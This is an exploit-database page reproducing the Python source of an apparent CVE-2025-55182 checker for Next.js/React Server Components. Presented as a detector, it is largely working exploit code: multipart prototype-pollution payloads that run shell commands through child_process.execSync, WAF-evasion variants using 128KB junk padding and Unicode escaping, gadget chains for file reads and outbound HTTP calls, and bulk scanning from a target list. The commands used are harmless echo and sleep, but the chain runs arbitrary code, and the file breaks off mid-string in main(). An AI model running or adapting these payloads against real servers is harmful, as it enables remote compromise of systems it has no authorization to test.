Exploit database

GH-930200e694ab77e789b43687010fea0e

harness-security-labs/cve-2025-55182-checker

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-55182

257 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files1

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

src/main.py

Suggested starting filePython · 46,779 bytes
#!/usr/bin/env python3
"""
CVE-2025-55182 Vulnerability Detector
Enhanced with multiple detection techniques

FOR AUTHORIZED SECURITY TESTING AND RESEARCH PURPOSES ONLY

This script performs vulnerability detection using multiple techniques:
- Safe side-channel detection (non-exploitative)
- RCE proof-of-concept detection (for authorized testing)
- WAF bypass techniques
- Multiple payload variants

"""

import sys
import json
import argparse
import random
import re
import string
import time
from io import BytesIO
from typing import List, Optional, Dict, Any, Tuple
from urllib.parse import urlparse

try:
    import httpx
except ImportError:
    print("Error: httpx library not found")
    print("Install it with: pip install httpx")
    sys.exit(1)


# Global gadget definitions for CVE-2025-55182 exploitation
GADGETS = {
    # Filesystem Gadgets
    "fs#constructor": {
        "id": "fs#constructor",
        "name": "fs.constructor",
        "description": "Tests filesystem module constructor access",
        "category": "filesystem",
        "args": [],
    },
    "fs#readFileSync": {
        "id": "fs#readFileSync",
        "name": "fs.readFileSync",
        "description": "Tests file reading capability (safe file: /proc/version)",
        "category": "file_read",
        "args": ["/proc/version", "utf8"],
    },

    # VM/Code Execution Gadgets
    "vm#runInThisContext": {
        "id": "vm#runInThisContext",
        "name": "vm.runInThisContext",
        "description": "Tests VM context execution (safe: sleep)",
        "category": "rce",
        "time_based": True,
        "args": ['require("child_process").execSync("sleep 3")'],  # For blind detection
        "args_verify": ['require("child_process").execSync("sleep 6")'],  # For double verification
    },
    "vm#runInNewContext": {
        "id": "vm#runInNewContext",
        "name": "vm.runInNewContext",
        "description": "Tests VM sandbox escape via new context (safe: sleep)",
        "category": "rce",
        "time_based": True,
        "args": ['require("child_process").execSync("sleep 3")'],  # For blind detection
        "args_verify": ['require("child_process").execSync("sleep 6")'],  # For double verification
    },

    # Process Execution Gadgets
    "child_process#execSync": {
        "id": "child_process#execSync",
        "name": "child_process.execSync",
        "description": "Tests process execution (safe: echo test)",
        "category": "rce",
        "time_based": True,
        "args": ["sleep 3"],  # For blind detection
        "args_verify": ["sleep 6"],  # For double verification
    },
    "child_process#execFileSync": {
        "id": "child_process#execFileSync",
        "name": "child_process.execFileSync",
        "description": "Tests binary execution (safe: /bin/echo with test arg)",
        "category": "rce",
        "time_based": True,
        "args": ["/bin/sleep", ["3"]],  # For blind detection
        "args_verify": ["/bin/sleep", ["6"]],  # For double verification
    },
    "child_process#spawnSync": {
        "id": "child_process#spawnSync",
        "name": "child_process.spawnSync",
        "description": "Tests process spawning (safe: echo with args)",
        "category": "rce",
        "time_based": True,
        "args": ["sleep", ["3"]],  # For blind detection
        "args_verify": ["sleep", ["6"]],  # For double verification
    },

    # Utility Gadgets
    "util#promisify": {
        "id": "util#promisify",
        "name": "util.promisify",
        "description": "Tests utility promisification access",
        "category": "utility",
        "args": [],
    },

    # Out-of-Band (OOB) Gadgets - DNS/HTTP callbacks
    "vm#fetch": {
        "id": "vm#fetch",
        "name": "vm.fetch",
        "description": "Tests HTTP requests via fetch API (Node 18+, safe: example.com)",
        "category": "oob",
        "args": ['fetch("https://example.com").catch(()=>{})'],
    },
    "http#get": {
        "id": "http#get",
        "name": "http.get",
        "description": "Tests HTTP requests via http module (safe: example.com)",
        "category": "oob",
        "args": ['require("http").get("http://example.com").on("error",()=>{})'],
    },
}


# Gadget categories for organized testing
GADGET_CATEGORIES = {
    "filesystem": "Filesystem access and constructor testing",
    "file_read": "File reading operations",
    "file_write": "File writing operations",
    "rce": "Remote code execution capabilities",
    "module": "Module loading and manipulation",
    "utility": "Node.js utility functions",
    "oob": "Out-of-band callbacks (DNS/HTTP)",
}


def get_gadgets_by_category(category: str) -> List[str]:
    """Get list of gadget IDs filtered by category"""
    return [gid for gid, gdata in GADGETS.items() if gdata["category"] == category]


def get_gadget_info(gadget_id: str) -> Optional[Dict[str, Any]]:
    """Get gadget metadata by ID"""
    return GADGETS.get(gadget_id)


class VulnerabilityDetector:
    """Enhanced vulnerability detection for CVE-2025-55182"""

    def __init__(self, timeout: float = 10.0, verify_ssl: bool = False, random_boundaries: bool = True, log_requests: bool = False):
        self.timeout = timeout
        self.verify_ssl = verify_ssl
        self.random_boundaries = random_boundaries
        self.log_requests = log_requests
        self.user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
        self.client = httpx.Client(
            timeout=timeout,
            verify=verify_ssl,
            follow_redirects=False  # Handle redirects manually
        )

    def __del__(self):
        """Cleanup HTTP client"""
        try:
            self.client.close()
        except:
            pass

    @staticmethod
    def generate_uuid() -> str:
        """Generate UUID-like random string for boundaries and headers"""
        return ''.join(random.choices(string.hexdigits.lower(), k=32))

    @staticmethod
    def normalize_url(url: str) -> str:
        """Normalize and validate URL"""
        url = url.strip()
        if not url:
            return ""
        if not url.startswith(("http://", "https://")):
            return "https://" + url
        return url.rstrip("/")

    @staticmethod
    def generate_junk_data(size_kb: int) -> Tuple[str, str]:
        """Generate random junk data for WAF bypass"""
        param_name = ''.join(random.choices(string.ascii_lowercase, k=12))
        junk = ''.join(random.choices(string.ascii_letters + string.digits, k=size_kb * 1024))
        return param_name, junk

    def build_safe_payload(self) -> Tuple[str, str]:
        """Build property reference detection payload (colon-delimited format)"""
        if self.random_boundaries:
            boundary = "----WebKitFormBoundary" + self.generate_uuid()[:16]
        else:
            boundary = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad"

        body = (
            f"--{boundary}\r\n"
            f'Content-Disposition: form-data; name="1"\r\n\r\n'
            f"{{}}\r\n"
            f"--{boundary}\r\n"
            f'Content-Disposition: form-data; name="0"\r\n\r\n'
            f'["$1:aa:aa"]\r\n'
            f"--{boundary}--"
        )

        content_type = f"multipart/form-data; boundary={boundary}"
        return body, content_type

    def build_rce_payload(self, windows: bool = False, waf_bypass: bool = False, waf_bypass_size_kb: int = 128) -> Tuple[str, str]:
        """Build direct RCE payload using resolved_model exploitation with command injection"""
        if self.random_boundaries:
            boundary = "----WebKitFormBoundary" + self.generate_uuid()[:16]
        else:
            boundary = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad"

        if windows:
            cmd = 'powershell -c \\\"41*271\\\"'
        else:
            cmd = 'echo $((41*271))'

        prefix_payload = (
            f"var res=process.mainModule.require('child_process').execSync('{cmd}')"
            f".toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),"
            f"{{digest: `NEXT_REDIRECT;push;/login?a=${{res}};307;`}});"
        )

        part0 = (
            '{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
            '"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"'
            + prefix_payload
            + '","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}'
        )

        parts = []

        # Add junk data if WAF bypass is enabled
        if waf_bypass:
            param_name, junk = self.generate_junk_data(waf_bypass_size_kb)
            parts.append(
                f"--{boundary}\r\n"
                f'Content-Disposition: form-data; name="{param_name}"\r\n\r\n'
                f"{junk}\r\n"
            )

        parts.append(
            f"--{boundary}\r\n"
            f'Content-Disposition: form-data; name="0"\r\n\r\n'
            f"{part0}\r\n"
        )
        parts.append(
            f"--{boundary}\r\n"
            f'Content-Disposition: form-data; name="1"\r\n\r\n'
            f'"$@0"\r\n'
        )
        parts.append(
            f"--{boundary}\r\n"
            f'Content-Disposition: form-data; name="2"\r\n\r\n'
            f"[]\r\n"
        )
        parts.append(f"--{boundary}--")

        body = "".join(parts)
        content_type = f"multipart/form-data; boundary={boundary}"
        return body, content_type

    def build_advanced_waf_bypass_payload(self) -> Tuple[str, str]:
        """Build WAF evasion payload using Unicode escape obfuscation ($$ encoding)"""
        if self.random_boundaries:
            boundary = "----WebKitFormBoundary" + self.generate_uuid()[:16]
        else:
            boundary = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad"

        part0 = (
            '{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
            '"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":'
            '"var res=process.mainModule.require(\'child_process\').execSync(\'echo $((41*271))\').toString().trim();;'
            'throw Object.assign(new Error(\'NEXT_REDIRECT\'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});",'
            '"_chunks":"$Q2","_formData":{"get":"$3:\\"$$:constructor:constructor"}}}'
        )

        body = (
            f"--{boundary}\r\n"
            f'Content-Disposition: form-data; name="0"\r\n\r\n'
            f"{part0}\r\n"
            f"--{boundary}\r\n"
            f'Content-Disposition: form-data; name="1"\r\n\r\n'
            f'"$@0"\r\n'
            f"--{boundary}\r\n"
            f'Content-Disposition: form-data; name="2"\r\n\r\n'
            f"[]\r\n"
            f"--{boundary}\r\n"
            f'Content-Disposition: form-data; name="3"\r\n\r\n'
            f'{{"\\"\u0024\u0024":{{}}}}\r\n'
            f"--{boundary}--"
        )

        content_type = f"multipart/form-data; boundary={boundary}"
        return body, content_type

    def create_multipart_payload(self, fields: Dict[str, str]) -> tuple[bytes, str]:
        """Create multipart/form-data payload (generic method with random boundary)"""
        boundary = "----WebKitFormBoundary" + self.generate_uuid()[:16]

        body = BytesIO()
        for key, value in fields.items():
            body.write(f'--{boundary}\r\n'.encode())
            body.write(f'Content-Disposition: form-data; name="{key}"\r\n\r\n'.encode())
            body.write(f'{value}\r\n'.encode())
        body.write(f'--{boundary}--\r\n'.encode())

        content_type = f"multipart/form-data; boundary={boundary}"
        return body.getvalue(), content_type

    def log_raw_request(self, method: str, url: str, headers: Dict[str, str], body: bytes):
        """Log raw HTTP request in wire format"""
        if not self.log_requests:
            return

        print("\n" + "=" * 80)
        print("[RAW REQUEST]")
        print("=" * 80)

        # Request line
        from urllib.parse import urlparse
        parsed = urlparse(url)
        path = parsed.path or "/"
        if parsed.query:
            path += f"?{parsed.query}"
        print(f"{method} {path} HTTP/1.1")
        print(f"Host: {parsed.netloc}")

        # Headers
        for key, value in headers.items():
            print(f"{key}: {value}")

        # Body
        print()
        if body:
            try:
                # Try to decode as UTF-8
                body_str = body.decode('utf-8') if isinstance(body, bytes) else str(body)
                # Truncate very long bodies for readability
                if len(body_str) > 5000:
                    print(body_str[:5000])
                    print(f"\n... [truncated {len(body_str) - 5000} characters] ...")
                else:
                    print(body_str)
            except UnicodeDecodeError:
                print(f"[Binary data: {len(body)} bytes]")
        print("=" * 80 + "\n")

    def log_raw_response(self, response: httpx.Response):
        """Log raw HTTP response in wire format"""
        if not self.log_requests:
            return

        print("\n" + "=" * 80)
        print("[RAW RESPONSE]")
        print("=" * 80)

        # Status line
        print(f"HTTP/1.1 {response.status_code} {response.reason_phrase}")

        # Headers
        for key, value in response.headers.items():
            print(f"{key}: {value}")

        # Body
        print()
        body_text = response.text
        if len(body_text) > 5000:
            print(body_text[:5000])
            print(f"\n... [truncated {len(body_text) - 5000} characters] ...")
        else:
            print(body_text)
        print("=" * 80 + "\n")

    def resolve_redirects(self, url: str, max_redirects: int = 10) -> str:
        """Follow redirects only if they stay on the same host"""
        current_url = url
        original_host = urlparse(url).netloc

        for _ in range(max_redirects):
            try:
                response = self.client.head(current_url)
                if response.status_code in (301, 302, 303, 307, 308):
                    location = response.headers.get("Location")
                    if location:
                        if location.startswith("/"):
                            # Relative redirect - same host
                            parsed = urlparse(current_url)
                            current_url = f"{parsed.scheme}://{parsed.netloc}{location}"
                        else:
                            # Absolute redirect - check same host
                            new_host = urlparse(location).netloc
                            if new_host == original_host:
                                current_url = location
                            else:
                                break
                    else:
                        break
                else:
                    break
            except Exception:
                break
        return current_url

    @staticmethod
    def is_vulnerable_safe_check(response: httpx.Response) -> tuple[bool, str]:
        """Check if response indicates vulnerability (safe side-channel)

        Returns:
            tuple: (is_vulnerable, evidence)
        """
        # Check for RSC flight format response (starts with "0:")
        if response.text.startswith("0:"):
            return True, "RSC flight format detected (response starts with '0:')"

        # Check for error digest patterns
        if response.status_code == 500 and 'E{"digest"' in response.text:
            # Check for mitigations
            server_header = response.headers.get("Server", "").lower()
            has_netlify_vary = "Netlify-Vary" in response.headers
            is_mitigated = has_netlify_vary or "netlify" in server_header

            if not is_mitigated:
                return True, f"Error digest pattern found in 500 response (no mitigation headers)"
            else:
                return False, f"Error digest found but mitigated (Server: {server_header}, Netlify-Vary: {has_netlify_vary})"

        return False, f"No vulnerability indicators (status: {response.status_code})"

    @staticmethod
    def is_vulnerable_rce_check(response: httpx.Response) -> tuple[bool, str]:
        """Check if response indicates vulnerability (RCE PoC)

        Returns:
            tuple: (is_vulnerable, evidence)
        """
        redirect_header = response.headers.get("X-Action-Redirect", "")
        match = re.search(r'.*/login\?a=11111.*', redirect_header)
        if match:
            return True, f"RCE output detected in redirect header: {redirect_header}"
        return False, "No RCE output in X-Action-Redirect header"

    def build_gadget_payload(self, gadget_id: str, args: List[Any]) -> Tuple[bytes, str]:
        """Build gadget chain detection payload ($ACTION_REF format)"""
        # Standardized payload structure for gadget chains
        payload_data = {
            "id": gadget_id,
            "bound": args if isinstance(args, list) else [args]
        }
        json_data = json.dumps(payload_data)

        # Use $ACTION_REF_0 format (legacy Next.js Server Actions)
        fields = {
            "$ACTION_REF_0": "",
            "$ACTION_0:0": json_data
        }

        return self.create_multipart_payload(fields)

    def get_gadget_args(self, gadget: str) -> List[Any]:
        """Get arguments for gadget chain testing from global GADGETS"""
        gadget_info = get_gadget_info(gadget)
        if gadget_info:
            return gadget_info.get("args", [])
        return []

    @staticmethod
    def is_vulnerable_gadget_check(response: httpx.Response, gadget: str, response_time: float = 0.0, time_based: bool = False, baseline_time: float = 0.0) -> tuple[bool, str]:
        """Check if response indicates vulnerability (gadget chain method)

        Returns:
            tuple: (is_vulnerable, evidence)
        """
        evidence_list = []

        # Time-based detection for blind RCE (when using sleep payloads)
        if time_based and baseline_time > 0:
            # Check if response time increased by at least 2.5 seconds from baseline
            # (allowing 0.5s tolerance for network jitter)
            time_delta = response_time - baseline_time
            if time_delta >= 2.5:
                # Response took significantly longer, indicating sleep was executed
                return True, f"Time-based delay detected: +{time_delta:.2f}s above baseline ({baseline_time:.2f}s)"

        # Check for RSC flight format response
        if response.text.startswith("0:"):
            evidence_list.append("RSC flight format detected (response startswith '0:'")

        # Check for Next.js action not found header (indicates action was processed)
        if "x-nextjs-action-not-found" in response.headers.get("x-nextjs-action-not-found", "").lower():
            evidence_list.append("Next.js action processed (x-nextjs-action-not-found header)")

        # Check for error digest patterns (common vulnerability indicator)
        if 'E{"digest"' in response.text:
            digest_match = re.search(r'E\{"digest":"([^"]+)"\}', response.text)
            if digest_match:
                evidence_list.append(f"Error digest pattern: {digest_match.group(1)[:100]}")
            else:
                evidence_list.append("Error digest pattern found in response")

        # Check for vulnerability indicators based on gadget type
        if response.status_code == 500:
            # Server errors with specific patterns might indicate success
            markers_found = [m for m in ["Error:", "NEXT_REDIRECT", "digest"] if m in response.text]
            if markers_found:
                evidence_list.append(f"500 error with vulnerability markers: {', '.join(markers_found)}")

        # For fs gadgets, successful file operations
        if "fs#" in gadget:
            if "Linux version" in response.text:
                version_match = re.search(r'Linux version [^\n]+', response.text)
                if version_match:
                    evidence_list.append(f"File read successful: {version_match.group(0)[:80]}")
                else:
                    evidence_list.append("File read successful: 'Linux version' found in response")

        if evidence_list:
            return True, "\n       ".join([""] + evidence_list)

        return False, f"No vulnerability indicators (status: {response.status_code}, gadget: {gadget})"

    def test_single_technique(
        self,
        target_url: str,
        endpoint: str,
        technique: str,
        windows: bool = False,
        gadget: Optional[str] = None,
        time_based: bool = False
    ) -> Dict[str, Any]:
        """Test a single detection technique"""
        # Establish baseline for time-based detection
        baseline_time = 0.0
        if time_based and gadget:
            # Send a non-sleep payload first to establish baseline
            baseline_gadget_info = get_gadget_info(gadget)
            if baseline_gadget_info:
                # Use a fast, harmless payload for baseline
                baseline_args = ["1+1"] if "vm#" in gadget else ["echo baseline"]
                baseline_body, baseline_content_type = self.build_gadget_payload(gadget, baseline_args)

                # Build headers for baseline request
                baseline_headers = {
                    "User-Agent": self.user_agent,
                    "Accept": "text/x-component",
                    "Content-Type": baseline_content_type,
                    "Next-Action": self.generate_uuid(),
                    "X-Nextjs-Request-Id": self.generate_uuid(),
                    "Next-Router-State-Tree": '[[["",{"children":["__PAGE__",{}]},null,null,true]]]',
                    "RSC": "1",
                }

                if not endpoint.startswith("/"):
                    endpoint = "/" + endpoint
                baseline_url = f"{target_url}{endpoint}"

                try:
                    baseline_body_bytes = baseline_body if isinstance(baseline_body, bytes) else baseline_body.encode('utf-8')
                    if self.log_requests:
                        print(f"\n[*] Establishing baseline for time-based detection...")
                    start = time.time()
                    baseline_response = self.client.post(baseline_url, content=baseline_body_bytes, headers=baseline_headers)
                    baseline_time = time.time() - start
                    if self.log_requests:
                        print(f"[*] Baseline response time: {baseline_time:.2f}s")
                except Exception as e:
                    if self.log_requests:
                        print(f"[*] Baseline request failed: {e}, using 0.0s baseline")
                    baseline_time = 0.0

        # Select payload and detection method based on technique
        if technique == "gadget_chain" or technique.startswith("gadget_"):
            # Gadget chain probe technique with safe arguments
            args = self.get_gadget_args(gadget)
            body, content_type = self.build_gadget_payload(gadget, args)
            is_vulnerable_func = lambda r, rt=0.0: self.is_vulnerable_gadget_check(r, gadget, rt, time_based, baseline_time)
        elif technique == "safe_side_channel":
            body, content_type = self.build_safe_payload()
            is_vulnerable_func = lambda r, rt=0.0: self.is_vulnerable_safe_check(r)
        elif technique == "advanced_waf_bypass":
            body, content_type = self.build_advanced_waf_bypass_payload()
            is_vulnerable_func = lambda r, rt=0.0: self.is_vulnerable_rce_check(r)
        elif technique == "rce_waf_bypass":
            body, content_type = self.build_rce_payload(windows=windows, waf_bypass=True, waf_bypass_size_kb=128)
            is_vulnerable_func = lambda r, rt=0.0: self.is_vulnerable_rce_check(r)
        else:  # rce_basic
            body, content_type = self.build_rce_payload(windows=windows)
            is_vulnerable_func = lambda r, rt=0.0: self.is_vulnerable_rce_check(r)

        # RSC-specific headers for Next.js Server Actions
        headers = {
            "User-Agent": self.user_agent,
            "Accept": "text/x-component",
            "Content-Type": content_type,
            "Next-Action": self.generate_uuid(),
            "X-Nextjs-Request-Id": self.generate_uuid(),
            "Next-Router-State-Tree": '[[["",{"children":["__PAGE__",{}]},null,null,true]]]',
            "RSC": "1",
        }

        if not endpoint.startswith("/"):
            endpoint = "/" + endpoint

        test_url = f"{target_url}{endpoint}"

        try:
            body_bytes = body.encode('utf-8') if isinstance(body, str) else body

            # Log request if enabled
            self.log_raw_request("POST", test_url, headers, body_bytes)

            # Measure response time for time-based detection
            start_time = time.time()
            response = self.client.post(test_url, content=body_bytes, headers=headers)
            response_time = time.time() - start_time

            # Log response if enabled
            self.log_raw_response(response)

            # Log timing information if time-based detection
            if time_based and self.log_requests:
                time_delta = response_time - baseline_time if baseline_time > 0 else response_time
                print(f"[*] Response time: {response_time:.2f}s (baseline: {baseline_time:.2f}s, delta: {time_delta:.2f}s, threshold: 2.5s)")

            vuln_check = is_vulnerable_func(response, response_time)
            is_vulnerable = vuln_check[0] if isinstance(vuln_check, tuple) else vuln_check
            evidence = vuln_check[1] if isinstance(vuln_check, tuple) and len(vuln_check) > 1 else ""

            if is_vulnerable:
                result = {
                    "vulnerable": True,
                    "status_code": response.status_code,
                    "technique": technique,
                    "evidence": evidence
                }
                # Only mark as time-based if timing actually confirmed it (delta >= 2.5s)
                time_delta = response_time - baseline_time if baseline_time > 0 else response_time
                if time_based and baseline_time > 0 and time_delta >= 2.5:
                    # Double-verify by testing with sleep 6 (double the original sleep 3)
                    if self.log_requests:
                        print(f"[*] Time-based detected (+{time_delta:.2f}s), double-verifying with 6s sleep...")

                    gadget_info = get_gadget_info(gadget)
                    if gadget_info and "args_verify" in gadget_info:
                        verify_args = gadget_info["args_verify"]
                        verify_body, verify_content_type = self.build_gadget_payload(gadget, verify_args)
                        verify_body_bytes = verify_body.encode('utf-8') if isinstance(verify_body, str) else verify_body

                        # Update content-type in headers
                        verify_headers = headers.copy()
                        verify_headers["Content-Type"] = verify_content_type

                        try:
                            verify_start = time.time()
                            verify_response = self.client.post(test_url, content=verify_body_bytes, headers=verify_headers)
                            verify_time = time.time() - verify_start
                            verify_delta = verify_time - baseline_time

                            if self.log_requests:
                                print(f"[*] Verification response time: {verify_time:.2f}s (delta: {verify_delta:.2f}s)")
                                print(f"[*] First delta: {time_delta:.2f}s, Second delta: {verify_delta:.2f}s, Ratio: {verify_delta/time_delta if time_delta > 0 else 0:.2f}x")

                            # Check if second delta is approximately double (1.7x to 2.3x range for tolerance)
                            if verify_delta >= 5.0 and 1.7 <= (verify_delta / time_delta) <= 2.3:
                                result["detection_method"] = "time-based-verified"
                                result["response_time"] = response_time
                                result["baseline_time"] = baseline_time
                                result["time_delta"] = time_delta
                                result["verify_time"] = verify_time
                                result["verify_delta"] = verify_delta
                                if self.log_requests:
                                    print(f"[*] ✓ Time-based RCE confirmed by double verification!")
                            else:
                                if self.log_requests:
                                    print(f"[*] ✗ Verification failed - timing didn't scale correctly (possible false positive)")
                                # Don't mark as time-based if verification failed
                                result["detection_method"] = "time-based-unverified"
                                result["time_delta"] = time_delta
                                result["verify_delta"] = verify_delta
                        except Exception as e:
                            if self.log_requests:
                                print(f"[*] Verification request failed: {e}")
                            # Mark as unverified if verification request failed
                            result["detection_method"] = "time-based-unverified"
                            result["time_delta"] = time_delta
                    else:
                        # No verification args available, use single test
                        result["detection_method"] = "time-based"
                        result["response_time"] = response_time
                        result["baseline_time"] = baseline_time
                        result["time_delta"] = time_delta
                return result

            # Try redirect
            try:
                redirect_url = self.resolve_redirects(test_url)
                if redirect_url != test_url:
                    if self.log_requests:
                        print(f"\n[*] Following redirect to: {redirect_url}\n")

                    # Log redirected request if enabled
                    self.log_raw_request("POST", redirect_url, headers, body_bytes)

                    # Measure response time for redirected request
                    start_time = time.time()
                    response = self.client.post(redirect_url, content=body_bytes, headers=headers)
                    response_time = time.time() - start_time

                    # Log redirected response if enabled
                    self.log_raw_response(response)

                    # Log timing information if time-based detection
                    if time_based and self.log_requests:
                        time_delta = response_time - baseline_time if baseline_time > 0 else response_time
                        print(f"[*] Response time (redirect): {response_time:.2f}s (baseline: {baseline_time:.2f}s, delta: {time_delta:.2f}s, threshold: 2.5s)")

                    vuln_check = is_vulnerable_func(response, response_time)
                    is_vulnerable = vuln_check[0] if isinstance(vuln_check, tuple) else vuln_check
                    evidence = vuln_check[1] if isinstance(vuln_check, tuple) and len(vuln_check) > 1 else ""

                    if is_vulnerable:
                        result = {
                            "vulnerable": True,
                            "status_code": response.status_code,
                            "technique": technique,
                            "redirected_to": redirect_url,
                            "evidence": evidence
                        }
                        # Only mark as time-based if timing actually confirmed it (delta >= 2.5s)
                        time_delta = response_time - baseline_time if baseline_time > 0 else response_time
                        if time_based and baseline_time > 0 and time_delta >= 2.5:
                            result["detection_method"] = "time-based"
                            result["response_time"] = response_time
                            result["baseline_time"] = baseline_time
                            result["time_delta"] = time_delta
                        return result
            except Exception:
                pass

        except httpx.TimeoutException:
            return {"vulnerable": False, "technique": technique, "error": "timeout"}
        except Exception as e:
            return {"vulnerable": False, "technique": technique, "error": str(e)}

        return {"vulnerable": False, "technique": technique}

    def detect_vulnerability(self, target_url: str, endpoint: str = "/formaction") -> Dict[str, Any]:
        """
        Detect vulnerability using all available techniques automatically

        Returns:
            Dictionary with detection results
        """
        result = {
            "target": target_url,
            "endpoint": endpoint,
            "vulnerable": False,
            "techniques_tested": [],
            "successful_technique": None,
            "details": []
        }

        target_url = self.normalize_url(target_url)
        if not target_url:
            result["error"] = "Invalid or empty URL"
            return result

        # Define all techniques to try in order
        # Gadget chain probes (safe, non-exploitative) - build from global GADGETS
        gadget_chains = []
        for gadget_id, gadget_info in GADGETS.items():
            # Normal detection
            gadget_chains.append({
                "name": f"Gadget: {gadget_info['name']} [{gadget_info['category']}]",
                "id": "gadget_chain",
                "windows": False,
                "gadget": gadget_id,
                "time_based": gadget_info.get("time_based", False)
            })

        # Enhanced detection techniques (direct exploitation variants)
        advanced_techniques = [
            {"name": "Side-channel: Property Reference (colon-delimited)", "id": "safe_side_channel", "windows": False, "gadget": None},
            {"name": "Direct RCE: resolved_model exploitation (Unix/Linux)", "id": "rce_basic", "windows": False, "gadget": None},
            {"name": "Direct RCE: resolved_model exploitation (Windows)", "id": "rce_basic", "windows": True, "gadget": None},
            {"name": "RCE + WAF Evasion: Junk data injection 128KB (Unix/Linux)", "id": "rce_waf_bypass", "windows": False, "gadget": None},
            {"name": "RCE + WAF Evasion: Junk data injection 128KB (Windows)", "id": "rce_waf_bypass", "windows": True, "gadget": None},
            {"name": "RCE + WAF Evasion: Unicode escape obfuscation (Unix/Linux)", "id": "advanced_waf_bypass", "windows": False, "gadget": None},
        ]

        techniques = gadget_chains + advanced_techniques

        print(f"[*] Testing {target_url}{endpoint}")
        print(f"[*] Testing multiple detection techniques...")

        successful_techniques = []

        for technique in techniques:
            print(f"  → {technique['name']}: ", end="", flush=True)
            result["techniques_tested"].append(technique["name"])

            test_result = self.test_single_technique(
                target_url,
                endpoint,
                technique["id"],
                technique["windows"],
                technique.get("gadget"),
                technique.get("time_based", False)
            )

            if test_result.get("vulnerable"):
                # Add timing info if time-based detection was actually confirmed
                detection_method = test_result.get("detection_method")
                evidence = test_result.get("evidence", "")

                if detection_method == "time-based-verified":
                    delta1 = test_result.get('time_delta', 0)
                    delta2 = test_result.get('verify_delta', 0)
                    print(f"✓ VULNERABLE (time-based verified: +{delta1:.2f}s/+{delta2:.2f}s)")
                elif detection_method == "time-based-unverified":
                    delta = test_result.get('time_delta', 0)
                    print(f"✓ VULNERABLE (time-based unverified: +{delta:.2f}s, verification failed)")
                elif detection_method == "time-based":
                    delta = test_result.get('time_delta', 0)
                    print(f"✓ VULNERABLE (time-based: +{delta:.2f}s delay)")
                else:
                    print("✓ VULNERABLE")

                # Always show evidence if available
                if evidence:
                    print(f"    Evidence: {evidence}")

                successful_techniques.append(technique["name"])
                detail = {
                    "technique": technique["name"],
                    "status": "vulnerable",
                    "status_code": test_result.get("status_code"),
                    "evidence": evidence
                }
                # Only include time-based info if it was actually confirmed
                detection_method = test_result.get("detection_method")
                if detection_method in ["time-based", "time-based-verified", "time-based-unverified"]:
                    detail["detection_method"] = detection_method
                    detail["response_time"] = test_result.get("response_time")
                    if detection_method == "time-based-verified":
                        detail["verify_time"] = test_result.get("verify_time")
                        detail["time_delta"] = test_result.get("time_delta")
                        detail["verify_delta"] = test_result.get("verify_delta")
                result["details"].append(detail)
            else:
                error = test_result.get("error")
                if error:
                    print(f"✗ Error: {error}")
                else:
                    print("✗ Not vulnerable")
                result["details"].append({
                    "technique": technique["name"],
                    "status": "not_vulnerable"
                })

        # Update result with successful techniques
        if successful_techniques:
            result["vulnerable"] = True
            result["successful_techniques"] = successful_techniques  # All successful
            result["status_code"] = next(
                (d.get("status_code") for d in result["details"] if d.get("status") == "vulnerable"),
                None
            )

        return result


def print_banner():
    """Print tool banner"""
    print("=" * 70)
    print("CVE-2025-55182 Vulnerability Detector - Enhanced Edition")
    print("Multiple Detection Techniques | Comprehensive Coverage")
    print("=" * 70)
    print()


def print_results(results: Dict[str, Any], show_separator: bool = True):
    """Print detection results"""
    if show_separator:
        print()
        print("=" * 70)
        print("DETECTION RESULTS")
        print("=" * 70)
    else:
        print()
        print("-" * 70)

    print(f"Target:                  {results['target']}")
    print(f"Endpoint:                {results['endpoint']}")
    print(f"Techniques Tested:       {len(results.get('techniques_tested', []))}")

    successful_techniques = results.get("successful_techniques", [])
    if successful_techniques:
        print(f"Successful Techniques:   {len(successful_techniques)}/{len(results.get('techniques_tested', []))}")

    print()

    if results.get("vulnerable"):
        print("Status:                  ⚠️  VULNERABLE")
        print()
        print("The target appears to be vulnerable to CVE-2025-55182.")
        if successful_techniques:
            print()
            print("Techniques that detected vulnerability:")
            for tech in successful_techniques:
                print(f" -> {tech}")
        print()
        print("Recommendation: Apply security patches immediately.")
    else:
        print("Status:                  ✓ NOT VULNERABLE")
        print()
        if results.get("error"):
            print(f"Note:                    {results['error']}")
        else:
            print("The target does not appear to be vulnerable to CVE-2025-55182.")
            print("All detection techniques failed to confirm vulnerability.")

    if show_separator:
        print("=" * 70)
    else:
        print("-" * 70)


def read_targets_from_file(filepath: str) -> List[str]:
    """Read target URLs from a file (one per line)"""
    targets = []
    try:
        with open(filepath, 'r') as f:
            for line in f:
                line = line.strip()
                # Skip empty lines and comments
                if line and not line.startswith('#'):
                    targets.append(line)
    except FileNotFoundError:
        print(f"[!] Error: File not found: {filepath}")
        sys.exit(1)
    except Exception as e:
        print(f"[!] Error reading file: {e}")
        sys.exit(1)

    return targets


def main():
    """Main entry point"""
    # Build epilog dynamically from GADGETS
    epilog = """
Examples:
  %(prog)s http://target.com:3000
  %(prog)s http://target.com:3000 --endpoint /api/formaction
  %(prog)s http://target.com:3000 --timeout 15 --no-ssl-verify
  %(prog)s --file targets.txt --endpoint /api/formaction
  %(prog)s --file targets.txt --endpoint /api/formaction -o vulnerable.txt

Note: This tool tests multiple detection techniques against each target:

      Gadget chain probes (safe, non-exploitative with proper arguments):
"""

    # Add gadget descriptions dynamically from GADGETS
    for gadget_id, gadget_info in GADGETS.items():
        epilog += f"        - {gadget_info['name']}: {gadget_info['description']}\n"

    epilog += """
      Direct exploitation techniques:
        - Side-channel: Property reference detection (CVE-2025-66478)
        - Direct RCE: resolved_model exploitation with command injection
        - RCE + WAF Evasion: Junk data injection (128KB padding)
        - RCE + WAF Evasion: Unicode escape obfuscation ($$ encoding)

